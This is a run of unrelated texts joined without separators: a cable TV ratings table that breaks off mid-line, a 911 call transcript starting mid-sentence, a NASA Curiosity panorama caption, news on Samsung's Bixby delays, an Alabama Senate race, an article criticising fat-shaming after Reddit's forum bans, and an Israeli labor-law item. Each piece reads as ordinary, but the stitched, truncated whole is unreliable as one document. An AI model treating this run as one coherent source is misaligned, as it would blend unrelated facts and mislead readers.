Program Episode Network Start End Total Viewers (000) Viewers Age 18-49 (000) WALKING DEAD 703 THE CELL AMC 9:00 PM 10:01 PM 11,721 7,283 TALKING DEAD 703 AMC 10:01 PM 11:00 PM 4,064 2,350 HALL ORIGINAL MOVIE A PERFECT CHRISTMAS HALLMARK CHANNEL 8:00 PM 10:00 PM 3,554 856 THE OREILLY FACTOR BEST OF OREILLY FOX NEWS CHANNEL 8:00 PM 9:00 PM 2,713 425 HALL ORIGINAL MOVIE A WISH FOR CHRISTMAS HALLMARK CHANNEL 6:00 PM 8:00 PM 2,693 639 REAL HOUSEWIVES ATLANTA 901 HOUSE OF SHADE AND DUST BRAVO 8:00 PM 9:00 PM 2,587 1,382 ALASKA: THE LAST FRONTIER DISCOVERY CHANNEL 9:00 PM 10:01 PM 2,543 586 FOX & FRIENDS SUNDAY FOX NEWS CHANNEL 9:00 AM 10:00 AM 2,442 401 KELLY FILE, THE FOX NEWS CHANNEL 9:00 PM 10:00 PM 2,388 375 HANNITY FOX NEWS CHANNEL 10:00 PM 11:00 PM 2,334 425 NASCAR SPRINT CUP RACE L TEXAS NBC SPORTS NETWORK 7:55 PM 11:22 PM 1,806 492 NFL COUNTDOWN L ESPN 11:00 AM 1:00 PM 1,710 983 NASCAR SPRINT CUP START L TEXAS NBC SPORTS NETWORK 7:07 PM 7:55 PM 1,687 397 NFL INSIDERS: SUNDAY L ESPN 10:00 AM 11:00 AM 1,190 678 SPORTSCENTER WEEKEND-AM L ESPN 9:00 AM 10:00 AM 863 477 SPORTSCENTER MORNING ESPN 2:16 AM 3:16 AM 813 479 SPORTSCENTER WEEKEND-AM L ESPN 8:00 AM 9:00 AM 732 371 NASCAR RAIN DELAY TEXAS NBC SPORTS NETWORK 6:00 PM 7:07 PM 628 149 NFL GAMEDAY MORNING NFL GAMEDAY MORNING NFL NETWORK 9:00 AM 1:00 PM 608 304 CHAMPIONSHIP DRIVE L ESPN 1:00 PM 1:30 PM 589 328 NASCAR SPRINT CUP POST TEXAS NBC SPORTS NETWORK 11:22 PM 12:00 AM 565 193 SPORTSCENTER MORNING ESPN 7:00 AM 8:00 AM 538 261 SPORTSCENTER 1AM L ESPN 12:30 AM 2:00 AM 524 321 SPORTSCENTER MORNING ESPN 3:16 AM 3:57 AM 489 279 COLL FTBL SCOREBOARD ESPN 3:57 AM 4:57 AM 446 233 PREMIER LEAGUE L WATFORD/LIVERPOOL NBC SPORTS NETWORK 9:12 AM 11:26 AM 432 255 LALIGA SANTANDER MRQ-L SEVILLA VS. BARCELONA BEIN SPORT ESPANOL 2:39 PM 4:43 PM 408 223 PREMIER LEAGUE L TOTTENHAM/ARSENAL NBC SPORTS NETWORK 6:53 AM 9:12 AM 407 231 SPORTSCENTER EARLY L ESPN 7:30 PM 8:30 PM 397 175 NFL GAMEDAY HIGHLIGHTS NFL GAMEDAY HIGHLIGHTS NFL NETWORK 7:30 PM 8:30 PM 395 164 SPORTSCENTER LATE L ESPN 11:00 PM 12:30 AM 375 213 ESPN ORIGINAL DOCUMENTARY ESPN FILMS: TWO POINTS, ONE TITLE ESPN 1:30 PM 2:00 PM 369 178 COLLEGE FOOTBALL REPEAT OREGON/USC ESPN 4:57 AM 6:00 AM 350 181 NFL MATCH-UP ESPN 6:30 AM 7:00 AM 340 176 SPORTSCENTER MORNING ESPN2 6:00 AM 7:00 AM 315 155 NFL GAMEDAY LIVE NFL GAMEDAY LIVE NFL NETWORK 1:00 PM 4:30 PM 314 131 COLLEGE FOOTBALL REPEAT OREGON/USC ESPN 6:00 AM 6:30 AM 305 147 MLS PLAYOFFS L COLORADO/LA GALAXY ESPN 2:00 PM 4:49 PM 302 165 PREMIER LEAGUE L WEST BROM/LEICESTER NBC SPORTS NETWORK 11:26 AM 1:33 PM 293 145 NFL GAMEDAY LIVE NFL GAMEDAY LIVE NFL NETWORK 4:30 PM 7:30 PM 291 123 NASCAR RACEDAY L TEXAS FOX SPORTS 1 11:30 AM 1:00 PM 289 66 PGA TOUR 2016 SHRINERS HOSP OPEN GOLF CHANNEL 4:07 PM 6:30 PM 282 40 FANTASY SHOW L ESPN2 12:30 PM 1:00 PM 277 162 SPORTSCENTER MORNING ESPN2 5:00 AM 6:00 AM 276 154 ESPN ORIGINAL DOCUMENTARY 30 FOR 30: HIT IT HARD ESPN 10:00 PM 11:00 PM 265 132 SPORTS REPORTERS ESPN2 8:30 AM 9:00 AM 262 125 MLS PLAYOFFS L NY RED BULLS/MONTREAL ESPN 4:49 PM 6:30 PM 245 133 PGA TOUR: BNF CHAMP 16 SHRINERS FNL/DOMIN FNL GOLF CHANNEL 3:45 PM 4:07 PM 236 28 MARATHON L NEW YORK CITY MARATHON ESPN2 9:00 AM 12:30 PM 227 111 OUTSIDE THE LINES-WKND ESPN2 8:00 AM 8:30 AM 227 122 COLL FTBL SCOREBOARD ESPN2 2:08 AM 3:05 AM 226 89 E:60 LETTERMEN ESPN2 7:00 AM 7:30 AM 222 119 NFL GAMEDAY FIRST NFL GAMEDAY FIRST NFL NETWORK 7:00 AM 9:00 AM 222 105 NFL MATCH-UP ESPN2 7:30 AM 8:00 AM 220 126 STIHL TIMBERSPORTS SERIES ESPN2 8:00 PM 9:00 PM 220 72 ESPN ORIGINAL DOCUMENTARY DAVID ORTIZ: THE LAST WALK OFF ESPN 8:30 PM 9:00 PM 214 96 SPORTSCENTER EARLY L ESPN 6:30 PM 7:30 PM 213 91 NFL GAMEDAY PRIME NFL GAMEDAY PRIME NFL NETWORK 11:48 PM 1:24 AM 212 111 LIGA MX L SANTOS / CHIAPAS FC UNIVISION DEPORTES 6:54 PM 9:00 PM 210 123 NFL GAMEDAY HIGHLIGHTS NFL GAMEDAY HIGHLIGHTS NFL NETWORK 8:30 PM 9:30 PM 199 95 STIHL TIMBERSPORTS SERIES ESPN2 7:00 PM 8:00 PM 195 55 MLS PLAYOFFS L CONF SEMI:DALLAS/SOUNDERS FOX SPORTS 1 8:55 PM 11:31 PM 195 106 NBA REGULAR SEASON L MILWAUKEE/DALLAS NBA-TV 7:00 PM 9:47 PM 191 81 EXPRESS WEEKEND-L EXPRESS WRAP-UP BEIN SPORT ESPANOL 4:43 PM 5:00 PM 185 103 COLL FTBL SCOREBOARD ESPN2 3:05 AM 4:03 AM 183 92 SPORTSCENTER MORNING ESPN2 4:03 AM 5:00 AM 181 105 COLLEGE FOOTBALL SUNDAY ESPNU 10:00 AM 12:00 PM 181 84 PREMIER LEAGUE L MANCHESTER UNITED/SWANSEA CNBC 10:00 AM 12:00 PM 165 88 COLLEGE FOOTBALL SUNDAY L ESPNU 8:00 AM 10:00 AM 165 48 SOMOS LMX UNIVISION DEPORTES 9:00 PM 10:00 PM 165 99 STIHL TIMBERSPORTS SERIES ESPN2 6:00 PM 7:00 PM 157 60 EXPRESS WEEKEND-L EXPRESS PREVIEW BEIN SPORT ESPANOL 2:35 PM 2:39 PM 155 85 MECUM AUTO AUCTIONS DALLAS - 11/5/16 NBC SPORTS NETWORK 12:00 AM 2:30 AM 151 46 NFL GAMEDAY OVERTIME NFL GAMEDAY OVERTIME NFL NETWORK 11:30 PM 11:48 PM 149 74 LALIGA SANTANDER MRQ-L SEVILLA VS. BARCELONA BEIN SPORT 2:40 PM 4:45 PM 144 82 NFL GAMEDAY HIGHLIGHTS NFL GAMEDAY HIGHLIGHTS NFL NETWORK 9:30 PM 10:30 PM 144 57 LIGA MX SUN UNAM / MONARCAS UNIVISION DEPORTES 12:45 PM 3:00 PM 141 85 MLS PLAYOFFS L CONF SEMI:NEW YORK CITY/TORONTO FOX SPORTS 1 6:30 PM 8:55 PM 135 73 PREMIER LEAGUE GOAL ZONE NBC SPORTS NETWORK 1:33 PM 2:30 PM 134 61 CONTACTO DEPORTIVO UNIVISION DEPORTES 1:01 AM 3:02 AM 133 80 NFL GAMEDAY HIGHLIGHTS NFL GAMEDAY HIGHLIGHTS NFL NETWORK 10:30 PM 11:30 PM 127 76 NFL GAMEDAY PRIME NFL GAMEDAY PRIME NFL NETWORK 1:24 AM 3:00 AM 126 80 EXPRESS WEEKEND-L EXPRESS PREVIEW BEIN SPORT ESPANOL 12:13 PM 12:24 PM 125 65 CROSSFIT GAMES ESPN2 2:00 PM 3:00 PM 121 67 BASEBALL STATCAST YEAR IN REVIEW ESPN 9:00 PM 10:00 PM 120 53 CROSSFIT GAMES ESPN2 3:00 PM 4:01 PM 120 43 CHAMPIONS TOUR 2016 DOMINION CHARITY CLS GOLF CHANNEL 12:28 PM 3:45 PM 120 26 COLLEGE FOOTBALL PRIME L NEVADA/NEW MEXICO ESPNU 10:28 PM 3:11 AM 115 39 CROSSFIT GAMES ESPN2 1:00 PM 2:00 PM 114 58 LPGA TOUR 2016 TOTO JAPAN CLS GOLF CHANNEL 8:30 AM 11:30 AM 112 18 CROSSFIT GAMES ESPN2 4:52 PM 6:00 PM 109 58 FUTBOL CENTRAL UNIVISION DEPORTES 6:00 PM 6:54 PM 106 63 DRONE RACING LEAGUE ESPN2 10:00 PM 11:00 PM 103 40 UFC FIGHT FLASHBACK DIAZ/MCGREGOR 2 FOX SPORTS 1 6:02 PM 6:30 PM 103 48 CONTACTO DEPORTIVO UNIVISION DEPORTES 10:00 PM 11:00 PM 100 64 DRONE RACING LEAGUE ESPN2 9:00 PM 10:00 PM 98 40 NBA POSTGAME SHOW NBA GAMETIME PRESENTED BY KIA NBA-TV 9:47 PM 10:42 PM 92 39 LALIGA SANTANDER-L VALENCIA VS. REAL BETIS BEIN SPORT ESPANOL 12:24 PM 2:35 PM 90 45 EXPRESS WEEKEND-L EXPRESS XTRA WEEKEND-L BEIN SPORT ESPANOL 5:00 PM 6:00 PM 89 44 LALIGA SANTANDER-L CELTA VIGO VS VALENCIA/ESPANYOL VS ATHLE BEIN SPORT ESPANOL 10:10 AM 12:13 PM 89 60 SPORTS JEOPARDY NBC SPORTS NETWORK 2:30 AM 3:00 AM 89 31 LALIGA SANTANDER MRQ-L REAL MADRID VS. LEGANES BEIN SPORT ESPANOL 6:00 AM 8:00 AM 87 64 MLS CONF SEMIFINAL FC DALLAS VS SEATTLE SOUNDERS FOX DEPORTES 9:03 PM 11:39 PM 85 35 NFL TOTAL ACCESS NFL TOTAL ACCESS NFL NETWORK 6:00 AM 7:00 AM 85 23 FIA WORLD ENDURANCE CHP L SHANGHAI FOX SPORTS 1 2:33 AM 5:20 AM 82 33 PRIM LIGA DE PORTUGAL - R FC PORTO / SL BENFICA UNIVISION DEPORTES 4:00 PM 6:00 PM 81 54 GOLF CENTRAL-POST GOLF CHANNEL 6:30 PM 7:30 PM 78 21 NFL NOW, LATER NFL NOW, LATER NFL NETWORK 4:00 AM 5:00 AM 78 37 POST SEASON GAME REWIND 2016 WORLD SERIES GM 7 CHC AT CLE MLB NETWORK 10:00 PM 12:00 AM 76 18 BUNDESLIGA PREGAME L 76 FOX SPORTS 1 9:00 AM 9:21 AM 75 34 TOP 10 PLAYER COMEBACKS NFL NETWORK 5:00 AM 6:00 AM 75 20 EUROPEAN TOUR 2016 TURKISH AIR OPEN GOLF CHANNEL 6:00 AM 8:30 AM 74 20 LIGA MX EN 60 UNIVISION DEPORTES 11:00 AM 12:00 PM 74 39 NASCAR RAIN DELAY TEXAS NBC SPORTS NETWORK 5:30 PM 6:00 PM 71 9 UFC FIGHT FLASHBACK DIAZ/MCGREGOR 2 FOX SPORTS 1 1:00 AM 1:30 AM 69 32 REPUBLICA DEPORTIVA SUN UNIVISION DEPORTES 3:00 PM 4:00 PM 69 56 NBA GAMETIME LIVE NBA GAMETIME LIVE NBA-TV 10:42 PM 12:35 AM 67 28 LALIGA SANTANDER-R REAL SOCIEDAD VS ATLETICO MADRID BEIN SPORT ESPANOL 8:00 AM 10:00 AM 66 48 EXPRESS WEEKEND-L EXPRESS PREVIEW BEIN SPORT ESPANOL 10:00 AM 10:10 AM 63 47 GOLF CENTRAL PREGAME GOLF CHANNEL 11:30 AM 12:28 PM 63 12 NFL TOTAL ACCESS NFL TOTAL ACCESS NFL NETWORK 3:00 AM 4:00 AM 63 32 NBA GAMETIME GAMETIME 11/5/16 NBA-TV 9:00 AM 10:00 AM 62 31 NBA GAMETIME GAMETIME 11/5/16 NBA-TV 10:00 AM 11:00 AM 62 22 NBA GAMETIME GAMETIME 11/6/16 NBA-TV 1:30 AM 2:00 AM 62 33 FUTBOL CENTRAL SUN UNIVISION DEPORTES 12:00 PM 12:45 PM 62 38 LALIGA SANTANDER MRQ-R SEVILLA VS. BARCELONA BEIN SPORT ESPANOL 10:00 PM 12:00 AM 61 30 MLS CONF SEMIFINAL NEW YORK CITY FC VS TORONTO FC FOX DEPORTES 6:33 PM 9:03 PM 61 28 POST SEASON GAME REWIND 2016 WORLD SERIES GM 6 CHC AT CLE MLB NETWORK 8:00 PM 10:00 PM 61 16 NBA GAMETIME GAMETIME 11/5/16 NBA-TV 8:00 AM 9:00 AM 60 37 NBA GAMETIME GAMETIME 11/6/16 NBA-TV 12:35 AM 1:00 AM 60 32 NBA GAMETIME GAMETIME 11/6/16 NBA-TV 2:30 AM 3:00 AM 60 32 NBA GAMETIME GAMETIME 11/6/16 NBA-TV 1:00 AM 1:30 AM 59 30 PGA TOUR 2016 SHRINERS HOSP OPEN GOLF CHANNEL 7:30 PM 10:30 PM 58 14 NBA REGULAR SEASON RE-AIR LA CLIPPERS/SAN ANTONIO NBA-TV 3:00 AM 5:13 AM 58 37 KICKBOXING ESPN2 11:00 PM 1:00 AM 57 22 LIGA MX EN 60 UNIVISION DEPORTES 10:00 AM 11:00 AM 57 34 COLL FOOTBALL: BIG 12 TEXAS/TEXAS TECH FOX SPORTS 1 6:00 AM 9:00 AM 56 16 UFC 205: ALVAREZ/MCGREGOR FIGHTING FOR HISTORY FOX SPORTS 1 12:00 AM 1:00 AM 56 29 CHAMPIONS TOUR 2016 DOMINION CHARITY CLS GOLF CHANNEL 10:30 PM 1:00 AM 55 26 LALIGA SANTANDER MRQ-R REAL MADRID VS. LEGANES BEIN SPORT ESPANOL 6:00 PM 8:00 PM 54 28 MLS PLAYOFFS L NY RED BULLS/MONTREAL ESPN2 4:01 PM 4:52 PM 53 16 NHRA SPORTSMAN SERIES READING FOX SPORTS 1 5:20 AM 6:00 AM 53 13 NBA GAMETIME GAMETIME 11/6/16 NBA-TV 2:00 AM 2:30 AM 53 28 WMN COLL SOCCER REG SSN L FLORIDA/ARKANSAS ESPNU 4:00 PM 6:22 PM 51 26 EXPRESS WEEKEND-L EXPRESS XTRA WEEKEND-L BEIN SPORT 4:45 PM 6:00 PM 50 26 BUNDESLIGA L LEIPZIG/MAINZ FOX SPORTS 1 9:21 AM 11:30 AM 50 27 NBA GAMETIME GAMETIME 11/5/16 NBA-TV 7:00 AM 8:00 AM 48 34 UFC ULTIMATE INSIDER TYRON WOODLEY FOX SPORTS 1 2:30 AM 3:00 AM 47 19 PREMIER LEAGUE DOWNLOAD NBC SPORTS NETWORK 2:30 PM 3:30 PM 47 30 UFC ULTIMATE INSIDER TYRON WOODLEY FOX SPORTS 1 11:31 PM 12:00 AM 46 29 REPUBLICA DEPORTIVA 2 SUN UNIVISION DEPORTES 12:00 AM 1:00 AM 44 37 DRONE RACING LEAGUE ESPN2 2:00 AM 3:00 AM 43 38 NBA TV MARQUEE MATCHUP GOLDEN STATE/LA LAKERS NBA-TV 11:00 AM 1:00 PM 43 12 PREMIER LG LIVE STUDIO NBC SPORTS NETWORK 6:00 AM 6:53 AM 43 27 LIGA DE PORTUGAL EN 60 UNIVISION DEPORTES 11:00 PM 12:00 AM 43 36 NBA GAMETIME GAMETIME 11/5/16 NBA-TV 6:00 AM 7:00 AM 41 28 PREMIER LEAGUE LIVERPOOL V. WATFORD 11/6 NBC UNIVERSO 9:10 AM 11:15 AM 41 27 ESPN FC ESPN2 1:00 AM 2:00 AM 40 31 ULTIMATE FIGHTER 708:ROUND TWO FOX SPORTS 1 1:30 AM 2:30 AM 40 18 PLAYS OF THE MONTH JUNE MLB NETWORK 8:00 AM 9:00 AM 40 13 COLLEGE FOOTBALL REPEAT NEBRASKA/OHIO ST ESPNU 6:00 AM 7:30 AM 39 11 PREMIER LEAGUE ARSENAL V. TOTTENHAM 116 NBC UNIVERSO 6:55 AM 9:00 AM 39 24 RACERTV NBC SPORTS NETWORK 4:30 PM 5:00 PM 38 20 BIG 12 WOM SOC CHAMP L WEST VIRGINIA/TCU FOX SPORTS 1 3:30 PM 6:02 PM 37 17 PLAYS OF THE MONTH MAY MLB NETWORK 7:00 AM 8:00 AM 37 13 POST SEASON GAME REWIND 2016 WORLD SERIES GM 5 CLE AT CHC MLB NETWORK 6:00 PM 8:00 PM 37 7 NBA PREGAME SHOW AUTOTRADER PREGAME SHOW NBA-TV 6:30 PM 7:00 PM 37 21 FOX DEPORTES EN VIVO WKND FOX DEPORTES 6:00 PM 6:33 PM 36 16 EUROPEAN TOUR 2016 TURKISH AIR OPEN GOLF CHANNEL 3:30 AM 6:00 AM 36 18 ESPN ORIGINAL DOCUMENTARY ESPN FILMS: TWO POINTS, ONE TITLE ESPNU 7:30 AM 8:00 AM 35 11 CONTACTO DEPORTIVO UNIVISION DEPORTES 1:00 AM 2:00 AM 35 24 LALIGA SANTANDER MRQ-R REAL MADRID VS. LEGANES BEIN SPORT 8:00 PM 10:00 PM 34 22 COLLEGE FOOTBALL REPEAT NEBRASKA/OHIO ST ESPNU 4:30 AM 6:00 AM 34 15 E:60 ESPNU 3:11 AM 4:00 AM 34 18 BIG EAST WOM SOC CHAMP L MARQUETTE/GEORGETOWN FOX SPORTS 1 1:00 PM 3:30 PM 34 15 PLAYS OF THE MONTH AUGUST MLB NETWORK 10:00 AM 11:00 AM 34 10 PLAYS OF THE MONTH JULY MLB NETWORK 9:00 AM 10:00 AM 34 13 DRIVE 304 NBC SPORTS NETWORK 5:00 PM 5:30 PM 34 14 PRODUCT SHOWCASE NBC SPORTS NETWORK 4:00 AM 4:30 AM 34 19 E |
I’ve heard, but see, I don’t even know…she’s just paranoid that everything she says is, that you know, he’s listening to. OK let me see if I can get her cell phone number. I’ve got my address book here. OK, I’ve got a cellphone number for her. 205-987…wait that’s not right. I’m sorry. That was their old phone number. It’s (redacted).
911: That’s her phone number?
Diane Nichols: Yeah, her name is Gail. OK, yeah so I just don’t know what to do. I’m at a loss. She has no family down there other than her children. I live in New York, my brother lives in Florida. And my parents are deceased. So I don’t know what to do.
911: OK what is your name?
Diane Nichols: My name is Diane Nichols. N-I-C-H-O-L-S.
911: I have this in the computer and I’ll give your sister a call and see what’s going on and see if she needs some assistance.
Diane Nichols: OK, thank you so much.
911: Alright, you’re welcome. Bye bye.
Diane Nichols: Bye
Seconds later, Joanne from 911 calls Gail
Gail: Hello?
911: Is this Gail?
Gail: Yes it is.
911: OK this is Joanne from the Signal Mountain Police Department. Your sister called and said you needed some help.
Gail: My husband said, when I went by yesterday, because basically I needed basically a timeout from my husband and I was going to take the kids down to the lake house, and I didn’t want anybody to think I was kidnapping them I just needed to get away. He said that they wanted me back in like 12 or 14 hours, and I don’t remember them saying that, but..
911: Who said that?
Gail: My husband said the police told me that, but I don’t remember them telling me that. But, we’re headed back up to Signal Mountain. I just wanted the police to be aware where I am, where the kids are, and where we’re headed.”
911: OK, if you want to just give us a call when you get closer to your home if you need some help.
Gail: Ok. Thank you.
911: OK. Thank you.This is the first 360-degree panorama in color of the Gale Crater landing site taken by NASA's Curiosity rover. The panorama was made from thumbnail versions of images taken by the Mast Camera.
Scientists will be taking a closer look at several splotches in the foreground that appear gray. These areas show the effects of the descent stage's rocket engines blasting the ground. What appeared as a dark strip of dunes in previous, black-and-white pictures from Curiosity can also be seen along the top of this mosaic, but the color images also reveal additional shades of reddish brown around the dunes, likely indicating different textures or materials.
The images were taken late Aug. 8 PDT (Aug. 9 EDT) by the 34-millimeter Mast Camera. This panorama mosaic was made of 130 images of 144 by 144 pixels each. Selected full frames from this panorama, which are 1,200 by 1,200 pixels each, are expected to be transmitted to Earth later. The images in this panorama were brightened in the processing. Mars only receives half the sunlight Earth does and this image was taken in the late Martian afternoon.
JPL manages the Mars Science Laboratory/Curiosity for NASA's Science Mission Directorate in Washington. The rover was designed, developed and assembled at JPL, a division of the California Institute of Technology in Pasadena.
For more about NASA's Curiosity mission, visit: http://www.jpl.nasa.gov/msl, http://www.nasa.gov/mars, and http://marsprogram.jpl.nasa.gov/msl.Samsung has already missed its deadline to launch a full version of Bixby’s voice features in the US by spring. But according to a new report by The Korea Herald, the delay wasn’t caused by just linguistic issues of Bixby struggling to understand English. Samsung also lacks enough data needed to develop Bixby’s deep learning technology.
“Developing Bixby in other languages is taking more time than we expected mainly because of the lack of the accumulation of big data,” a Samsung spokesperson said. Samsung launched the Bixby voice preview in a limited release in June, though it’s unclear whether the lack of big data means simply not enough beta testers signed up, or if the research team hasn’t received enough diversity in voice samples. (Even Google has had to turn to Reddit to get more data on English spoken in different accents.) Samsung engineers are also reportedly struggling to communicate between the US and Korea offices, with language and geographical barriers contributing to delays.
Samsung engineers are struggling to communicate between US and Korea offices
Meanwhile, Samsung appears to be pushing Bixby in devices other than a smartphone, with a report today claiming the company is working on a smart speaker powered by its voice assistant. While there’s no release date for the speaker, the Wall Street Journal claims a full Bixby release in the US is unlikely to arrive “before the second half of July.”Mo Brooks
Congressman Mo Brooks speaks to a crowd of 800 during the Huntsville Chamber of Commerce of Huntsville/Madison County Washington Update Luncheon in the North Hall of the Von Braun Center Monday, March 9, 2015 in Huntsville, Ala. (AL.com file)
(Paul Beaudry)
After U.S. Rep. Mo Brooks criticized a Senate super PAC backing Luther Strange in the 2017 special election, the super PAC fired back at Brooks.
Minutes after Brooks formally announced his plans Monday morning to run for Senate, the Senate Leadership Fund ripped Brooks' candidacy.
"While Luther Strange was cleaning up the corruption in Montgomery, Mo Brooks was living the life of a Washington insider, opposing Donald Trump and failing to get a single bill signed into law in four terms in the House," SLF spokesman Chris Pack said in a statement on the super PAC's website.
"If Brooks can't cut it in the House, how can he be trusted to deliver results in the U.S. Senate? It's clear Mo Brooks is more interested in advancing his own career than he is with delivering for Alabama."
Brooks described the super PAC on Friday as "Washington swamp critters" and said it was an example of Washington telling people in Alabama how to vote.
Washington'swamp critters' backing Luther Strange, Mo Brooks says The Washington super PAC is seeking records of phone calls, emails, text messages and any other communication between Gov. Kay Ivey and Brooks, Del Marsh and Roy Moore.
A spokesman for Roy Moore, the former chief justice of the Alabama Supreme Court who has announced his plans to run against Strange, also took exception with the super PAC's tactics as well as state Sen. Del Marsh, who is expected to announce his plans to run for Senate this week.
The SLF has requested through the Freedom of Information Act records of any contacts Brooks, Marsh and Moore have had with Gov. Kay Ivey - who moved up the special election by almost a year after she replaced Robert Bentley last month.
The records request is an apparent attempt to determine if any of Strange's opponents sought to encourage Ivey to move up the election. Brooks, Marsh and Moore all said Friday they exerted no such influence.
Super PAC backing Luther Strange seeks records between opponents, Kay Ivey A super PAC supporting Strange asked the governor's office for records between Gov. Ivey and potential Strange challengers.
Strange, then Alabama's attorney general, was appointed to the Senate in February by Bentley. Strange's office was investigating Bentley in connection with crimes that eventually forced the governor to resign - though that investigation was not confirmed until Strange's replacement, Steve Marshall, appointed a special prosecutor a week after taking office.
The National Republican Senate Committee has also vowed to back Strange as an incumbent, though he has not been elected to the office. That support, the NRSC said, comes with a stream of funding for Strange's campaign.
The Republican primary is Aug. 15 and the general election is set for December.Mentions of the word “fat” on Reddit in the 18 hours after the subreddit ban. (TrackReddit.com)
When Reddit banned five forums for violating its anti-harassment policy Wednesday, users went, in a word, insane. They started a petition on Change.org to get CEO Ellen Pao fired. They promised to migrate to “freer” sites, like Stumbleupon and Voat.
But most of all, more than anything, they plastered Reddit’s front page with mocking, hateful photos of obese people. This was their Alamo.
[These are the five forums Reddit banned]
They may not have the moral high ground on other so-called speech issues — threats and racist hate speech come to mind — but this, at last, was a form of prejudice the mainstream could get behind. Nevermind that Reddit banned five forums, and that only two of them had to do with fat-shaming. Nevermind, likewise, that the bans weren’t spurred by content, but by reports of serial harassment.
The details don’t matter; the ideology did. And there’s no way Reddit’s extremist speech warriors would let a group of “fatties” win.
***
It’s important to understand …
before we dive into the particulars, that the controversy rocking Reddit today actually has little to do with Reddit or censorship. Instead, consider this “revolt” the latest symptom of the growing pains afflicting the entire social Web.
For years, Reddit — much like Twitter and 4chan before it — took a hands-off approach to community management. And it worked, in the early days, when Reddit was little more than a newsboard for nerds.
[The battle for the soul of Reddit]
As Reddit grew larger, however, that dynamic changed — a natural consequence of the community’s scale, and a problem Twitter and 4chan also faced. Whatever small harms or indignities existed before Reddit had 150 million monthly users were now amplified a thousand times. There were more people, more extreme people, higher ratios of users to site administrators. Where once fat-shaming trolls traded tasteless jokes, they now stole, and rebroadcast, obese peoples’ photos.
An archived screenshot of Fat People Hate. (Via Internet Archive)
But even if early Reddit had allowed that type of mischief — and by all accounts, it did allow some pretty nasty things — the situation has changed. Where Reddit was once a niche community far from the Internet mainstream, it’s now a major social network with a board and a PR firm and millions of users. Just as 4chan began banning Gamergate threads, and just as Twitter began exorcising its trolls, Reddit needed to clean up harassment or risk alienating the bulk of its (now mainstream, multitudinous) users.
By and large, these were business decisions. They were never based on ideology. But as multiple networks ramped up their anti-abuse measures in tandem, a fluid contingent of users began interpreting them that way.
[Reddit, Voat and the state of Internet speech]
This group is best defined by what they oppose, since what they stand for is much harder to interpret. To wit: social progressivism, political correctness, any kind of perceived “censorship.” They call their enemies “social justice warriors,” a catch-all for anyone espousing more progressive views. And they see SJWs in the shadows of every social network policy change — even though, in reality, these changes have very little to do with politics or corporate values.
With the new Reddit crackdown, anti-SJWs received an amazing gift. Reddit was trying to protect fat people, they argued. And for better or worse, that’s one type of bias that lots of otherwise normal people agree with.
***
Let’s be really, really clear up-front:
Reddit is not actually protecting overweight people. Of the five forums banned, two — Fat People Hate and Ham Planet Hatred — did relate to fat-shaming. But fat-shaming forums still flourish on the site, as do forums containing far more hideous and offensive things.
[48 hours inside the Internet’s ‘most toxic’ communities]
“We will ban subreddits that allow their communities to use the subreddit as a platform to harass individuals when moderators don’t take action,” the company said in a statement. “We’re banning behavior, not ideas.”
That behavior included doxing and harassing named individuals, despite repeated warnings and in direct violation of Reddit’s anti-harassment policy. Fat People Hate was known to up-vote screenshots of members terrorizing overweight people in off-site apps and forums, among other things. (It had more than 150,000 users at its peak.)
A word cloud of the most-mentioned words in the comments on Reddit’s subreddit-ban announcement. (Reddit)
Of course, in the absence of details like that, the anti-SJW crowd has begun to foment alternate theories: This is just another kowtow to “special snowflakes,” another case of PC overreach. And because the largest share of Americans still believe obesity is a choice — in other words, there isn’t the same level of empathy for this particular group as there may be for other minorities — that’s a narrative that’s caught on among unusually wide swaths of Reddit. It’s not just anti-SJW trolls saying these things.
In the past 18 hours — roughly the time since Reddit announced it was banning the five subreddits — Redditors have dropped the word “fat” on nearly 24,000 occasions.
“There’s nothing wrong with disliking people who make horrible health decisions on a daily basis and want sympathy for it,” snarked one defender of Fat People Hate.
“The slobs are too f***ing entitled,” another Redditor wrote, “and that does need to stop.”
In some corners of Reddit, this latest bout of controversy already has a catchy name. They’re calling it, aptly, “the Fattening.”
***
So what is wrong with making fun of obesity?
According to Reddit’s use policies, absolutely nothing. Again, this particular incident isn’t about fat-shaming. Full stop. The end.
… But it has revealed a nasty strain of Internet prejudice.
Even 24 hours into the drama, pictures of overweight people dominate Reddit’s highly trafficked front page. They’re captioned with comments like “another popper” and “queen of hams.” They’re submitted to new forums with names like r/getoffyoura**.
A selection of the most popular posts on Reddit today. (Reddit)
“STOP COMFORT EATING,” reads one post of an obese woman, currently up-voted to the front page. “It gives you a moment of happiness and a lifetime of regret. Eat something healthy today.”
The overwhelming conclusion one would take from these posts is that obesity has nothing to do with context or genetics, but that it represents a personal, moral failing. That’s exactly the way people viewed alcoholism — in like, 1903.
Researchers call this “weight stigma” or “weight bias,” and they say it has far-ranging consequences for people who are overweight. (Among other things, it exacerbates depression, social isolation and anxiety and cuts the probability that that person will lose weight.) It also doesn’t jibe with the current science on obesity, which suggests that the disease is caused by a multiplicity of factors: not only personal choice and lifestyle, but also genetics, health conditions, medications, education, personal environment and economic status.
And yet, on r/OverweightAwareness — a new forum created for the purpose of “fighting censorship” — a trio of anti-SJW trolls just keep harping about cakes and cows and “hideousness.”
***
Where does this leave Reddit, exactly?
Frankly, I think the storm will pass. Reddit is large enough at this point that the complaints of a few thousand users no longer really matter.
More pressing, I think, is where this battle leaves overweight people: both the ones specifically harassed by forums like Fat People Hate, and the ones reading the vitriol. How horrifically painful and tragic it must be to see your face on the Reddit front page with a caption like “look at this cow.”
At times like this, it’s actually comforting to remember that Reddit is a vast, diverse, contradictory place. There’s still plenty of (SJW?) positivity amidst the anti-fat hate.
“With all this fat people hate nonsense going on in r/all, I was refreshed to come here and see none of it,” reads the current top post on r/fitness, the site’s most popular healthy living subreddit. “Let’s all remember to help other people improve (if that’s what they’re trying to do), and not ridicule them.”
Liked that? Try these:The Ministerial Committee on Legislative Affairs approved by a majority of seven supporters against one in opposition – with Health Minister Yael German (Yesh Atid) opposing – a bill proposed by MK Orit Struk (Habayit Hayehudi), according to which women's labor law will be applied in the West Bank.
The move to expand an existing law to include the disputed Judea and Samaria territories is not irregular, but its timing in coincidence with the renewal of peace negotiations between Israel and the Palestinians presents a position which does not necessarily bode well with negotiations.
Related stories:
Under the bill, women working for Israeli employers in the West Bank will be entitled to all the protections provided by Israel's labor laws in cases in which they are absent from work due to maternity leave, pregnancy, adoption or fertility treatments.
The law applies equally to Israeli and Palestinian women.
Currently, Israeli law does not have jurisdiction in the territories, which are governed by laws decreed by the IDF general in charge of the area.
